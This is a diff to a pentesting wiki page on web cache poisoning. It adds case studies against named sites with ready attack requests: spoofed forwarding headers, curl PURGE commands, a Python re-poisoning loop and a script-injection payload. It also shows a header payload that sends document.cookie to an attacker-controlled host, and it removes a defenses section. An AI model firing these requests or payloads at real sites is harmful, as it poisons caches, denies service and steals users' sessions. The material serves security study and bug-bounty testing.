Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
125 changes: 105 additions & 20 deletions src/pentesting-web/cache-deception/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,108 @@ One more header related to the cache is **`Age`**. It defines the times in secon

When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.

### Foundational cache poisoning case studies

#### HackerOne global redirect via `X-Forwarded-Host`

- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
- Poison with:

```http
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
```

- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.

#### GitHub repository DoS via `Content-Type` + `PURGE`

- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:

```bash
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
```

- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.

#### Shopify cross-host persistence loops

- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
- Use short automation loops to repeatedly reseed:

```python
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
```

- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.

#### JS asset redirect → stored XSS chain

- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.

```http
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
```

- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.

#### GitLab static DoS via `X-HTTP-Method-Override`

- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.

```http
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
```

- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.

#### HackerOne static asset loop via `X-Forwarded-Scheme`

- Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset:

```http
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
```

- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.

#### Cloudflare host-header casing mismatch

- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.

```http
GET / HTTP/1.1
Host: TaRgEt.CoM
```

- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.

#### Red Hat Open Graph meta poisoning

- Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:

```http
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
```

- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.

## Exploiting Examples

### Easiest example
Expand Down Expand Up @@ -194,7 +296,7 @@ Practical recipe (observed across a popular CDN/WAF):

Example header payload (to exfiltrate non-HttpOnly cookies):

```
```http
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```

Expand All @@ -208,17 +310,12 @@ Impact:

- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.

Defenses:

- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.

### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:

```
```http
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

Expand All @@ -239,18 +336,6 @@ For full details (cache key construction, ItemService enumeration and a chained

ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.

### GitHub CP-DoS

Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.

### GitLab + GCP CP-DoS

GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.

### Rack Middleware (Ruby on Rails)

In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.

### 403 and Storage Buckets

Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
Expand Down Expand Up @@ -376,7 +461,6 @@ Validation checklist
- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.


## Automatic Tools

- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
Expand All @@ -396,6 +480,7 @@ Validation checklist
- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
- [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
- [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)



Expand Down